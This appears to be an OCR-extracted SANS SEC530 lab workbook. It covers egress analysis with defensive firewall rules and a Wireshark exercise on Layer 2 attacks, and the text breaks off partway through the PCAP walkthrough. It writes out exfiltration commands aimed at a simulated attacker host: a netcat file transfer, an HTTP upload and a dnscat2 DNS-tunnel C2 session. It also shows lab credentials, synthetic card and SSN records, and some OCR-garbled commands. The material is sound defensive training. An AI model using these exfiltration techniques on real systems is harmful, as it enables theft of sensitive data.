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Exercise 1.1 - Egress Analysis

Objectives

Understand the methodologies attackers may use to exfiltrate data

Learn how simple architecture decisions can make exfiltration more difficult
Layer defenses to increase the time to exfiltrate

Layer defenses to increase the likelihood of detection

Combine prevention controls with detection

Exercise Preparation

Log into the Sec-530 VM
e Username: student
e Password: Security530

Terminal Google Chrome

Before beginning this lab, you will need to start the virtual containers used for this lab. To do so, run the
command below.

S sudo pwsh /labs/check.psl -check precheck -lab egress

This lab uses three systems. They are as follows:

Student VM - The 530 VM that you logged into will act as a client desktop for this lab

PCI File Server (172.17.0.2) - This system will act as a sensitive file server where contact information including
credit card numbers is stored. Under egress analysis we are assuming that someone has gained access to this
asset. The data for this lab is contained on this box in /fopt/confidential/sensitive_data.csv and the server is
listening on ports 139 and 445

External Attacker Box (5.30.5.1) - This is simulating an external system under an attacker's control. This box
has SSH enabled on port 2222 and has a web-based upload page at http://5.30.5.1:443. It also has tools such
as netcat, dnscat, Python, and PowerShell installed. The only available ports are 2222, 53, 443, and 10000

For egress analysis you are trying to get data from the PCI File Server to this system. Ultimately, you then are

trying to identify prevention and detective controls to prevent or detect such behavior.
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External Attacker Box
5.30.5.1
(Ports 53, 80, 443,
2222, and 10000)

PCI File Server
> Contains
sensitive data.csv
Studentum Listening on ports 139, 445
Infected Desktop

The commands below are helpful for the no hints version of this lab.

To gain a terminal to the PCI File Server (emulating compromise by an adversary) you may run the below
command.

$ docker exec —-it pcifileserver /bin/bash

To gain a terminal to the External Attacker Box you may run the below command.

S docker exec —-it externalattackerbox /bin/bash

To copy a file from the file server to your local Student VM you can use a command such as below.

$ smbclient //172.17.0.2/pci -c "get sensitive data.csv" -N

Alternatively, you can mount the share to your Linux system and browse it using the commands below.

S mkdir smbmount
S sudo mount -t cifs //172.17.0.2/pci smbmount -o username=guest
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Exercise: No hints

1)

2)
3)

4)
5)

Exfiltrate /opt/confidential/sensitive_data.csv directly to the External Attacker Box
a) How would you prevent this method of exfiltration?
b) How would you detect this method of exfiltration?
Block internet access from the PCI File Server to the External Attacker Box

Exfiltrate sensitive_files.csv by copying it to your Student VM and then uploading it to the External
Attacker Box

a) How would you prevent this method of exfiltration?
b) How would you detect this method of exfiltration?
Block all ports outbound to the External Attacker Box except ports 53 and 443

Exfiltrate data from the Student VM over either port 53 or port 443 using only DNS packets or HTTP (non-
encrypted) packets

a) How would you prevent this method of exfiltration?
b) How would you detect this method of exfiltration?

There are multiple ways to exfiltrate files to the external system. Below are a few methods.

1)
2)
3)
4)

Upload (POST) a file to http://5.30.5.1:443

Copy the file over netcat using any port

Use Python or PowerShell between the External Attacker Box and one of the internal systems
Use dnscat from the Student VM to the External Attacker Box

a) The dnscat client is on the Student VM in /labs/egress/dnscat2/client

b) The dnscat server is on the External Attacker Box in /home/exfil/dnscat2/server
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Exercise — Step-by-step instructions

1. Exfiltrate file from server to internet

Discover and Assess
For this step you will be simulating a network that has minimal controls and allows servers to have direct
internet access. You will be attempting to identify if direct outbound access is allowed from a server.

First, connect to the PCI File Server using the command below. This terminal will be called the file server
terminal.

S docker exec -it pcifileserver /bin/bash

Next, open another terminal. This terminal will be used to control the External Attacker Box.

In the second terminal which will be referenced as the attacker terminal, connect to the External
Attacker Box with the command below.

S docker exec -it externalattackerbox /bin/bash

In the attacker terminal, use netcat to listen on port 10000 using the command below.

root@externalattackerbox:/# nc -lvnp 10000 > sensitive data.csv

Note: The command above listens on port 10000 and then waits to receive a connection. Once the
connection is established it saves any data it receives in the file called sensitive_file.csv. This instance of
netcat is being utilized as a netcat server. -n tells nc not to perform name resolution.

Switch to the file server terminal that is connected to the PCI File Server and transfer sensitive_data.csv
to the External Attacker Box using netcat as a client. Do so with the command below.

root@pcifileserver:/# nc 5.30.5.1 10000 -n -9l <
/opt/confidential/sensitive data.csv

Note: The command above connects to 5.30.5.1 on port 10000 and then transfers the file at
/opt/confidential/sensitive_data.csv. The -q1 tells netcat to close one second after the transfer
completes. On Windows, Powershell would allow the same kind of direct TCP data transfer.
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Confirm the file transferred successfully by switching to the attacker terminal and running the command
below:

root@externalattackerbox:/# tail sensitive data.csv -n2

You will see output like below.

female American Mrs. Patti D Sparks 4604 Patterson Fork
RoadChicago IL Illinois 60606 Us United States
PattiDSparks@einrot.com Sledl962 oim2or0OahPh "Mozilla/5.0

(Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/53.0.2785.116 Safari/537.36" 312-630-4213 1 Efird
8/14/1962 54 Visa 4.53906E+15 696 Dec-18 357-04-8242 Red
Commercial and industrial designer Chathaml998 Suzuki X90 225.5
"S5t ogmnw 471 .842489 -87.708556

female American Ms. Jennifer K Fuentes 4853 Fleming Street
Montgomery AL Alabama 36104 Us United States
JenniferKFuentes@gustr.com Agning ioSohquijlco "Mozilla/5.0

(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/53.0.2785.143 Safari/537.36" 334-432-2572 1 Horton
3/21/1974 42 Visa 4.55602E+15 433 Oct-18 417-90-1544
Black Programmer Grade A Investment 2012 Land Rover Range

Rover Evoque 228.8 "5t 32.365291 -86.232287

Discover and Assess
At this point, sensitive data has transferred directly from the PCI File Server to the External Attacker Box
over port 10000. This simulates a weak architecture that allows for easy exfiltration of data.

2. Block server outbound access
Re-Design
Direct internet access from servers is high risk as it allows for quick data exfiltration and malware
command and control channels. In this step you will be blocking outbound internet access from the PCI

File Server. This is to prevent and detect attempts from the server to access the internet.

Open a third terminal. This terminal will be referenced as your Student VM terminal.
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Implement
In the Student VM terminal, create firewall rules that prevent and log attempts from the PCI File Server
to reach out to 5.30.5.1 with the commands below. If prompted for a password enter Security530.

S sudo iptables -N LOGGING

$ sudo iptables -A INPUT -j LOGGING

$ sudo iptables -A LOGGING -m limit --limit 2/min -j LOG -s
172.17.0.2 —--log-prefix "EGRESS: " --log-level 4

$ sudo iptables -A INPUT -s 172.17.0.2 -d 5.30.5.1 -j DROP

Note: In a production environment, instead of blocking a single external IP you would create firewall rules
to block internet access to all or all unauthorized internet sources from your server subnets.

Switch to your attacker terminal and run the command below.

root@externalattackerbox:/# nc —-lvnp 10000

Note: This command tells netcat to listen on port 10000. It is being used to verify if connections can still
be made to the simulated internet.

Switch to your file server terminal and run the command below. This command will attempt to connect
to the External Attacker Box.

root@pcifileserver:/# nc —-zvn 5.30.5.1 10000 -wl

Note: The command above acts as a simple port scan to see if port 10000 is reachable.
When this command is ran, you should see the following output:
(UNKNOWN) [5.30.5.1] 10000 (?) : Connection timed out

This means the connection failed as outbound internet access is now being blocked between the PCI File
Server and the External Attacker Box.

Operate and Monitor
Switch to your Student VM terminal. Then run the command below to verify that attempts by the PCI
File Server to access the internet are being logged.

S grep EGRESS /var/log/syslog
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You should see a log similar to this output:

Oct 23 11:14:34 Securityb530 kernel: [ 2979.789067] EGRESS: IN=docker0
OUT= PHYSIN=veth680f5cf MAC=02:42:01:21:17:8b:02:42:ac:11:00:02:08:00
SRC=172.17.0.2 DST=5.30.5.1 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=31855
DF PROTO=TCP SPT=34370 DPT=10000 WINDOW=29200 RES=0x00 SYN URGP=0

At this point you have a preventative control in place to block direct internet access from the PCI File
Server and you have a detective control as you can monitor for attempts to directly access the internet.

At this point you may close out of the file server terminal by clicking on the X in the top right corner of it.
Make sure you are only closing out of the file server terminal.

b Terminal - root@pcifileserver: / = + X
File Edit WView Terminal Tabs Help

root@pcifileserver:/# nc -zvn 5.30.5.1 10000 -wl
(UNKNOWN) [5.30.5.1] 10000 (?) : Connection timed ou
root@pcifileserver:/# |}

3. Exfiltrate data through the Student VM

Discover and Assess

At this point direct internet access is not available to the PCI File Server. Therefore, an attacker can no
longer exfiltrate data directly. In this step you will further assess how quickly an attacker can move data
outside your environment.

First, copy the data from the PCI File Server to your Student VM. Do this by switching to your Student
VM terminal and running the command below.

$ smbclient //172.17.0.2/pci -c "get sensitive data.csv" -N

You should see output similar to below. This means the file was copied successfully into your current
working directory.

WARNING: The "syslog" option is deprecated

Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.7.6-Ubuntu]
getting file \sensitive data.csv of size 1281409 as sensitive data.csv
(125136.4 KiloBytes/sec) (average 125137.6 KiloBytes/sec)

Now that the file has been transferred from the PCI File Server to the Student VM it is time to see if it can
be transferred over port 10000 again. Press CTRL-C to stop the previous netcat listener.

root@externalattackerbox:/# nc -lvnp 10000
listening on [any] 10000 ...
nC
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Then switch to the attacker terminal, then remove the previous sensitive_data.csv file and then use
netcat to listen on port 10000 using the commands below.

root@externalattackerbox:/# rm -f sensitive data.csv
root@externalattackerbox:/# nc -lvnp 10000 > sensitive data.csv

Now, switch to your Student VM terminal and run the command below. This will attempt to copy the
data over port 10000 to the External Attacker Box.

$ nc 5.30.5.1 10000 -n -gl < sensitive data.csv

Confirm the file transferred successfully by switching to the attacker terminal and running the command
below:

root@externalattackerbox:/# tail sensitive data.csv -n2

You will see output like below.

female American Mrs. Patti D Sparks 4604 Patterson Fork
RoadChicago IL Illinois 60606 Us United States
PattiDSparks@einrot.com S1edl962 oim2or0ahPh "Mozilla/5.0

(Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.116 Safari/537.36" 312-630-4213 1 Efird

8/14/1962 54 Visa 4.53906E+15 696 Dec-18 357-04-8242 Red
Commercial and industrial designer Chathaml1998 Suzuki X90 225.5
"5roomnn 41 .842489 -87.708556

female American Ms. Jennifer K Fuentes 4853 Fleming Street
Montgomery AL Alabama 36104 Us United States
JenniferKFuentes@gustr.com Agning ioSohquijlco "Mozilla/5.0

(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36" 334-432-2572 1 Horton

3/21/1974 42 Visa 4.55602E+15 433 Oct-18 417-90-1544
Black Programmer Grade A Investment 2012 Land Rover Range
Rover Evoque 228.8 "5t 32.365291 -86.232287

Discover and Assess

At this point, sensitive data can be transferred to the External Attacker Box over port 10000. However,
the attacker must first copy the file to a desktop before transferring it. If the attacker attempted to
upload the data directly they would have been prevented and detected. However, being able to exfiltrate
data over any port from a desktop is still insufficient. More controls should be considered.

4. Implement default outbound deny

Re-Design
SEC530 - SANS ©2019 Exercise - Egress Analysis Exercise-Egress-8
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To lower risk a default outbound deny policy should be put into place so that all systems can only reach
outbound on authorized ports. For this lab we will be allowing ports 53 and 443 only. This would prevent
and detect any activity to unused/unauthorized ports.
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Implement
Switch to your Student VM terminal and add new firewall rules by running the commands below.

$ sudo iptables -A INPUT -d 5.30.5.1 -p udp --dport 53 -j ACCEPT
$ sudo iptables -A INPUT -d 5.30.5.1 -p tcp —--dport 443 -j ACCEPT
$ sudo iptables -A INPUT -d 5.30.5.1 -p tcp —--dport 10000 -3j DROP

Note: On a production firewall the allowed ports could be further restricted to specific applications such
as DNS and HTTP. This will be the assumption for the next step. In this case port 10000 is simulating a
default deny to all ports.

Now verify port 10000 is no longer reachable by switching to your attacker terminal and running the
command below.

root@externalattackerbox:/# rm -f sensitive data.csv
root@externalattackerbox:/# nc -lvnp 10000

Switch to your Student VM terminal and run the command below. This command will attempt to connect
to the External Attacker Box on port 10000.

S nc —-zvn 5.30.5.1 10000 -wl

You should see the following output:

nc: connect to 5.30.5.1 port 10000 (tcp) timed out: Operation now in
progress

Operate and Monitor
Again, you have added another prevention control which could double as a detective control. In this case,
direct exfiltration from a desktop to the internet over any port would be blocked and detected.

5. Exfiltrate data over authorized application(s)

Discover and Assess - HTTP over 443

At this point direct internet access is not available to the PCI File Server and attempts to send data
directly out over any arbitrary port is blocked. For this step the assumption is that only authorized ports
such as port 53 and 80 are allowed. Also, the assumption is that only DNS and HTTP applications can be
utilized on these ports. Application control will be discussed in a later module. At this point, an adversary
must change how data is exfiltrated to bypass existing controls.
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HTTP is one of the most simplified ways to exfiltrate data if whitelisting is not enforced. Switch to your
Student VM terminal and go to http://5.30.5.1:443 with the command below.

$ google-chrome http://5.30.5.1:443

This will load the following web page.

| [} 5.305.1:443 X | +

€ -5 C 1 @ Notsecure| 5.30.5.1:443

== Apps For quick access, place your bookmarks here on the bookmarks bar. Import

Select file to upload: | Choose File | No file chosen | Upload File |

Click on Choose File.

[ 5.30.5.1:443 X =+

&€ 25 C 1 @ Notsec 5.30.5.1:443

:=° Apps For quick access, plac r bookmarks here on the

Select file to upload: | Choose File | No file chosen

Then in the list select sensitive_data.csv and then click on Open.
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Open File + X

Recent
Home ¥ Size Modified
I GPUCache 16 Mar
Desktop I
= labs 17 Mar
[ | Documents [ languagepacksjson 2 bytes 16 Mar
™ Downloads &2 Local Storage 16 Mar
= logs 16 Mar
Music [ | machineid 36 bytes 16 Mar
B Pictures | | microsoft.gpg 0 bytes 14 Mar
i | | microsoft.gpgsudo 0 bytes 8 Mar
Videos . [[| msntauth.conf 421 bytes 8 Mar s
_ - [ Music 26 Feb
=0 Other Locations | o
= peaps 15 Mar
B Pictures 26 Feb
|| Preferences 69 bytes 16 Mar
I Public 26 Feb
B sensitive_data.csv Yesterday
| | squid.conf 2591 kB B Mar
| | squid.conf.dist 259.1kB 8 Mar
[ storage.json 15.8 kB 16 Mar
[, Templates e 13 Mar
tmp 16 Mar
User 16 Mar
Videns 26 Feh
| ©cancel

Now click on Upload File.

| [ 5.305.1:443 X L +

|—

€« > C 1Y A Notsecure| 5.30.5.1:443

:° Apps  For quick access, place your bookmarks here on the bookma r. Import bookma

Select file to upload: | Choose File | sensitive_data.csv | Upload File

If the file was uploaded you should see the following image:

_J [ 5.30.5.1:443/index.php x| +

e,

€ 2 C {t @ Notsecure| 5.30.5.1:443/index.php

:=* Apps For quick access, place your bookmarks here on the bookmarks

The file sensitive_data.csv has been uploaded.
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Go ahead and close out of the Google Chrome that was launched from the previous command. Then
switch to the attacker terminal and issue the below command to verify the file transferred successfully.
You need to press CTRL+C to stop the previously running netcat listener before running the command
below.

root@externalattackerbox:/# tail
/var/www/html/uploads/sensitive data.csv -n2

You will see output like below.

female American Mrs. Patti D Sparks 4604 Patterson Fork

RoadChicago IL Illinois 60606 Us United States
PattiDSparks@einrot.com Sledl962 oim2or0OahPh "Mozilla/5.0

(Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/53.0.2785.116 Safari/537.36" 312-630-4213 1 Efird
8/14/1962 54 Visa 4.53906E+15 696 Dec-18 357-04-8242 Red
Commercial and industrial designer Chathaml1998 Suzuki X90 225.5
"5 ogmmw 41 .842489 -87.708556

female American Ms. Jennifer K Fuentes 4853 Fleming Street
Montgomery AL Alabama 36104 Us United States
JenniferKFuentes@gustr.com Agning ioSohquijlco "Mozilla/5.0

(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/b537.36" 334-432-2572 1 Horton

3/21/1974 42 Visa 4.55602E+15 433 Oct-18 417-90-1544
Black Programmer Grade A Investment 2012 Land Rover Range
Rover Evoque 228.8 "5ttt 32.365291 -86.232287

At this point data has been exfiltrated by using HTTP but over port 443.

Re-Design

HTTP is expected over port 443. However, it should be HTTP over TLS. Plaintext HTTP traffic could be
prevented using application control via a Next-Generation Firewall (NGFW) or Intrusion Prevention
System (IPS). This traffic could also be detected with an Intrusion Detection System (IDS) or Network
Security Monitor (NSM). All of these are covered later within Sec530.

Discover and Assess - DNS Tunneling

This time simulate data exfiltration over DNS through DNS. This type of exfiltration is more difficult to
prevent as it uses DNS traffic to establish command and control and then exfiltrate data. Since DNS is a
critical infrastructure component and it is proxied by design this channel often has little preventative

controls.

Switch to the attacker terminal and run the commands below.
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root@externalattackerbox:/# rm -f sensitive data.csv
root@externalattackerbox:/# ruby
/home/exfil/dnscat2/server/dnscat2.rb

Note: dnscat is a tool that allows for command and control and data exfiltration using DNS. In the above
example a dnscat server is being launched. This will sit and wait for one or more clients to establish
connections to it. The sensitive_data.csv was removed as we are going to download it again.

You should see the terminal change to dnscat2 such as below.

dnscat2>

Next, switch to your student VM terminal and run the command below.

S /labs/egress/dnscat2/client/dnscat --dns=server=5.30.5.1,port=53

Note: This command uses dnscat to establish a command and control session to 5.30.5.1 using DNS.
Back on the attacker terminal you should have seen the connection with output similar to below.

dnscat2> New window created: 1
/home/exfil/dnscat2/server/controller/packet.rb:228: warning: constant
::Bignum is deprecated
/home/exfil/dnscat2/server/controller/packet.rb:228: warning: constant
::Bignum is deprecated
/home/exfil/dnscat2/server/controller/crypto helper.rb:13: warning:
constant ::Bignum is deprecated
/home/exfil/dnscat2/server/controller/crypto _helper.rb:21: warning:
constant ::Bignum is deprecated
/home/exfil/dnscat2/server/libs/dnser.rb:379: warning: constant
::Fixnum is deprecated

Session 1 security: ENCRYPTED BUT *NOT* VALIDATED

For added security, please ensure the client displays the same string:

>> Bunny Hoods Wages Pulped Cruxes Suited

Ignore any errors such as Bignum is deprecated. Also, the string that is displayed will likely be different
on your system. If you want to make sure you are still at a blank terminal, simply hit the ENTER key on
your keyboard so that the dnscat2> terminal is visible again.

While still inside the attacker terminal, enter the command below to interact with your student VM from
the External Attacker Box.

dnscat?2> window -1 1
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Your command prompt will then change to below.

command (Security530) 1>

Note: This command prompt allows you to manually issue commands to the dnscat client, download
files, and more. To learn what options are available you can type help and hit ENTER.

Within the attacker terminal, issue the command below to download sensitive_data.csv from the Student
VM.

command (Security530) 1> download sensitive data.csv

You should see "Attempting to download sensitive data.csv to
sensitive data.csv"andthen many "POTENTIAL CACHE HIT" entries. After approximately 30
seconds, you should see the following output:

POTENTIAL CACHE HIT
POTENTIAL CACHE HIT
POTENTIAL CACHE HIT
Wrote 1281409 bytes from sensitive_data.csv to sensitive_data.csv!

This means that the file has been successfully downloaded. To prove this first close out of dnscat by
typing exit and pushing ENTER within the attacker terminal.

command (Security530) 1> exit

Then tail the file to verify it was downloaded successfully. Switch to the attacker terminal and issue the
below command to verify the file transferred successfully.

root@externalattackerbox:/# tail sensitive data.csv -n2

You will see output like below.

female American Mrs. Patti D Sparks 4604 Patterson Fork

RoadChicago IL Illinois 60606 Us United States
PattiDSparks@einrot.com Sledl962 oim2or0OahPh "Mozilla/5.0

(Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/53.0.2785.116 Safari/537.36" 312-630-4213 1 Efird
8/14/1962 54 Visa 4.53906E+15 696 Dec-18 357-04-8242 Red
Commercial and industrial designer Chathaml1998 Suzuki X90 225.5
"S5 ogmmn 471 .842489 -87.708556

female American Ms. Jennifer K Fuentes 4853 Fleming Street
Montgomery AL Alabama 36104 Us United States
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JenniferKFuentes@gustr.com Agning ioSohquijlco "Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/53.0.2785.143 Safari/537.36" 334-432-2572 1 Horton

3/21/1974 42 Visa 4.55602E+15 433 Oct-18 417-90-1544
Black Programmer Grade A Investment 2012 Land Rover Range
Rover Evoque 228.8 "5t 32.365291 -86.232287

At this point data has been exfiltrated by using DNS over the expected port of 53. The question is what an
organization can do against this type of attack. Now close out the lab by closing out of the attacker
terminal. Then in the student terminal run the command below. You need to press CTRL+C to stop the
previously running dnscat client within the student terminal before running the command below.

$ sudo pwsh /labs/check.psl -check postcheck -lab egress

NOTE: If you cannot run the command above then you may need to press CTRL-C to close out of the
dnscat client session.

Re-Design

With DNS tunneling defenses such as a Next-Generation Firewall (NGFW) with application control, an
Intrusion Prevention System (IPS), an Intrusion Detection System (IDS), and native DNS service
capabilities are often insufficient. Alternative controls such as purpose-built DNS behavior analytics may
be necessitated. This could be a third-party security solution, or it could be a combination of Network
Security Monitoring (NSM) and a Security Incident Event Management (SIEM) to achieve detection and
possibly trigger automatic prevention.

Analyzing DNS logs would show high level abnormalities from the student VM as it is making more than
just the standard A and CNAME DNS lookups, is making high volumes of DNS requests, and they are
coming from a desktop. You will observe this directly in the Network Security Monitoring lab.

Lab Conclusion

In this lab, you have performed egress analysis to identify how to increase the difficulty of data
exfiltration while increasing your chances to detect it. This included:

e Directly exfiltrating data over any port or application

e Blocking internet access from servers to increase the time and difficulty to steal data

e Blocking and detecting on direct outbound access over unused ports

e |dentifying abnormalities in applications being used on non-standard ports

e Understanding how applications can use authorized applications in an unauthorized manner

e Learning what type of technologies can prevent or detect sophisticated data exfiltration methods

The Egress Analysis lab is now complete!
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Exercise 1.2 - Layer 2 Attacks

Objectives

e Understand Layer 2 attacks and security issues
e  Become familiar with Wireshark
e  Use Wireshark display filters

Lab Setup

If not already logged in: log into the Security530 Linux VM

e Username: student
e Password: Security530

Double-click on the "pcaps" Desktop folder.

Exercise — No hints

1. You will see a series of PCAP files, named "1.pcap" through "6.pcap". You may click on any of the PCAP

files and each will open in Wireshark.

Your goal is to identify which attack type applies to each PCAP file. There are 6 different attacks or
security issues represented by the PCAP files.

A worksheet will show the attack type and/or security issues, and each PCAP file also has a related
guestion (such as "what is the password for the telnet user?"). The PCAP file numbers are randomly
assigned and do not follow the worksheet order.

Your challenge is to match the specific attack type to each PCAP file, and also answer the related
questions.

The 530.1 lecture sections "Switch and Router Security" and "Layer 2 Attacks and Mitigation" will be
helpful in completing this challenge.

This lab has three sections: no hints (this section), some hints (next section), and full walkthrough (final
section). Choose your own difficulty!
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Identify each specific PCAP file that contains:

e CAM (Content Addressable Memory) attack
o What is the length of each IP packet (length of the IP header plus any IP data) sent as part
of this attack?
e DHCP Exhaustion attack
o What is the IP address of the client that launched this attack?
e Telnet traffic
o What is the username and password of the (interactive) telnet user?
e Double VLAN tagging
o What are the two VLAN IDs in each double-tagged packet?
e CDP (Cisco Discovery Protocol) traffic
o There are two routers that send CDP traffic, and they both run the same version of Cisco
I0S. What is the 10S version? Enter this format: "Version 12.3(4)S6" (note that numbers
will be different)
e ARP cache poisoning attack
o There are many ARP replies for various IP addresses, all pointing to one MAC address.
What is that MAC address?

Each issue is represented by a single PCAP file.

Complete the following worksheet. Feel free to proceed to the next section for some hints.

Attack Type or PCAP Number | Answer to Related Question
Security Issue
CAM Overflow

DHCP Exhaustion

Telnet
(information
leakage)
Double-VLAN
tagging

CDP (Information
Leakage)

ARP Cache
Poisoning
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Exercise — Some Hints

Note: a complete step-by-step walkthrough follows in the next section.

Overall advice: do not process the PCAP files in order. Click on each file, and address the easier worksheet
rows (such as Telnet and CDP) first.

It is often helpful to take a cursory look at the entire PCAP file. After opening any of the PCAP files: scroll
quickly through all of them, top to bottom. Look for any protocols that seem to have high numbers of packets.

None of the answers use SSL/TLS (TCP port 443) or IPv6, but there is SSL/TLS and/or IPv6 in some of the
packets. Note that we have an IPv6 lab during 530.2.

We will analyze 1.pcap in this section. The full walkthrough takes on the remaining PCAP files.

Double-click on 1.pcap. Wireshark will open. Scroll down and back up the packets (an arrow points to the
scroll bar in the screenshot below).

v

1.pcap
Telephony Wireless Tools Help

File Edit View Go Capture Analyze Statistics

A m © m I K[ R &=

N | Apg

No. Time Source Destination Protocol Lengtt Info
1 0.000000 ca:03:2a:78..
2 0.265532 10.5.30.1 239.255.255.. SSDP 143 M-SEARCH * HTTP/1.1
3 3.265661 10.5.30.1 239.255.255.. SSDP 143 M-SEARCH * HTTP/1.1
4 6.562522 ca:01:21:a0.. ca:01:21:a0.. LOOP 60 Reply
5 7.297494 10.5.30.1 239.255.255.. SSDP 143 M-SEARCH * HTTP/1.1
6 8.343926 ca:04:1c:do.. ca:04:1c:do.. LOOP 60 Reply
7 10.000246 ca:03:2a:78.. ca:03:2a:78.. LOOP 60 Reply

> Data (40 bytes)

» Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
» Ethernet II, Src: ca:03:2a:78:00:00 (ca:03:2a:78:00:00), Dst: ca:03:2a:78:00:00 (ca:03:2a:78:00:00)
» Configuration Test Protocol (loopback)

Wireshark display filters will be quite helpful in deducing the specific PCAP files that match each attack type or

security issue. Here

is an example::

Enter this display filter in the field marked "Apply a display filter ...": cdp
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Then press <ENTER>:

v 1.pcap —
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Am 1@ mCRR Qe>=3 8- Haqq .
|| cdp 3 ~| Expression..  +
No. Time Source Destination Protocol Lengtt Info

39 22.438317 ca:03:2a:78.. CDP/VTP/DTP.. COP 383 Device ID: Router12.sec530.org Port ID.. |
41 25.203278 ca:01:21:a0.. CDP/VTP/DTP.. COP 383 Device ID: Router10.sec530.com Port ID:..

» Frame 39: 383 bytes on wire (3064 bits), 383 bytes captured (3064 bits)
» IEEE 802.3 Ethernet

» Logical-Link Control

» Cisco Discovery Protocol

There are two packets shown (sent from two routers). Choose the first cdp packet. Note the triangles in the
Wireshark packet details pane. Click on the triangle to the left of "Cisco Discovery Protocol". Then click on the
triangle to the left of "Software Version":

i v 1.pcap - + X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Am 1@ =T RR Qe>s=53 8- Haaaq -
(M| cdp _ =3 ~| Expression..  +
No. Time Source Destination Protocol ' Lengtt Info

ca:03:2a:78.. CDP/VTP/DTP.. CDP 383 Device ID: Router12.sec530.org Port ID..

41 25.203278 ca:01:21:a0.. CDP/VTP/DTP.. CDP 383 Device ID: Router10.sec530.com Port ID:..

» Frame 39: 383 bytes on wire (3064 bits), 383 bytes captured (3064 bits)
» IEEE 802.3 Ethernet
» Logical-Link Control
v Cisco Discovery Protocol
Version: 2
TTL: 180 seconds
Checksum: ©xc7f1 [correct]
[Checksum Status: Good]
» Device ID: Routeri2.sec530.org
v Software Version
Type: Software version (0x0005)
Length: 251
Software version: Cisco I0S Software, 7200 Software (C7200-ADVIPSERVICESK9-M), Version 15.2(4)U
Software version: Technical Support: http://www.cisco.com/techsupport
Software version: Copyright (c) 1986-2014 by Cisco Systems, Inc.
Software version: Compiled Thu 20-Feb-14 06:51 by prod_rel_team
» Platform: Cisco 7206VXR

(4 D

| @ 7 Frame (frame), 383 bytes Packets: 56 - Displayed: 2 (3.6%) - Load time: 0:0.1  Profile: Default |

Follow the same process on the 2" cdp packet. That router has the same I0S version as the first one,
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Enter the following in the worksheet row titled "CDP (Information Leakage)"

Packet Number: 1
Answer to related question: Version 15.2(4)S5

You now have five PCAP files left to analyze.

These display filters will be quite handy:

cdp
telnet
bootp

o This searches for DHCP traffic (DHCP is an extension of BOOTP (the Boot Protocol)

ip.src == 10.99.99.1
o IP traffic from 10.99.99.1
ip.dst == 10.99.99.254
o IP traffic sent to 10.99.99.254
ip.addr == 10.99.99.10
o |IP traffic sent to or from 10.99.99.254
frame.number == 11
o Selects frame 11
tcp.port== 23
o TCP traffic sent to or from port 23 (the default telnet port)
not tcp.port == 443
o do not display TCP traffic sent to/from port 443 (SSL/TLS)
not ipvé
o do not show IPv6 traffic
vlan
o Show 802.1Q-tagged packets

Boolean logic is also supported, for example:

bootp and ip.src==10.99.99.1
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Exercise — Step-by-step instructions

2.pcap:

Scroll up and down the packets. There is a fair amount of SSL traffic, so let's ignore that (the hints section
mentioned that SSL/TLS was not used in any of the attacks). This may help deduce which attack is presented

by this PCAP file. Use the following display filter: not tcp.port == 443

v 2.pcap =/t X

File Edit View Go (Capture Analyze Statistics Telephony Wireless Tools Help

™ = X = —

Am e NRE Qes=s 8 H Qaqarr

| W | not tcp.port == 443 ~| Expression...  +

No. Time Source Destination Protocol ' Lengtt Info =
8 0.726084 00:2a:e3:cc.. Apple_21:4e.. ARP 60 Who has 10.99.99.141? Tell 10.99.99.1

v Apple_21:4e.. 60 10.99. 14e: [

22 2.067178 10.99.99.249 239.255.255.. SSDP 143 M-SEARCH * HTTP/1.1
24 3.648404 fe80::1cOc:.. fe80::22a:e.. ICMPV6 86 Neighbor Solicitation for fe80::22a:e3ff:fe..
25 3.649138 fe80::22a:e.. fe80::1cOc:.. ICMPV6 78 Neighbor Advertisement fe80::22a:e3ff:fecc:..
26 3.701769 fe80::22a:e.. 2001:470:1f.. ICMPV6 86 Neighbor Solicitation for 2001:470:1f11:78e..
27 3.701778 fe80::1cOc:.. fe80::22a:e.. ICMPV6 78 Neighbor Advertisement 2001:470:1f11:78e:e0..
29 6.098987 10.99.99.249 239.255.255.. SSDP 143 M-SEARCH * HTTP/1.1
31 8.665493 fe80::22a:e.. fe80::1cOc:.. ICMPv6 86 Neighbor Solicitation for fe80::1c@c:4a28:7..
32 8.665501 fe80::1cOc:.. fe80::22a:e.. ICMPV6 78 Neighbor Advertisement fe80::1c@c:4a28:711:..
33 9.098593 10.99.99.249 239.255.255.. SSDP 143 M-SEARCH * HTTP/1.1
35 12.098883 10.99.99.249 239.255.255.. SSDP 143 M-SEARCH * HTTP/1.1
37 14.674474 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.1? Tell 10.99.99.124
38 14.675107 00:2a:e3:cc.. Vmware_3b:2.. ARP 60 10.99.99.1 is at 00:2a:e3:cc:a2:2d
39 14.684673 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.218? Tell 10.99.99.124
40 14.694851 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.183? Tell 10.99.99.124 | v

» Frame 9: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
» Ethernet II, Src: Apple_21:4e:9d (a8:60:b6:21:4e:9d), Dst: 00:2a:e3:cc:a2:2d (00:2a:e3:cc:a2:2d)
» Address Resolution Protocol (reply)

Scroll up and down the packets again. There seems to be an awful lot of ARP traffic:

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Am e 5 RE Qe=>2=EF $ |

Q Q Q T

- 2.pcap - 4+ x|

| W | not tcp.port == 443 ~| Expression..  +
No. Time Source Destination Protocol ' Lengtl Info ‘ =

66 14.938545 Vmware_3b:2.. Broadcast ARP 42 Who has 10.99.99.159? Tell 10.99.99.124 |

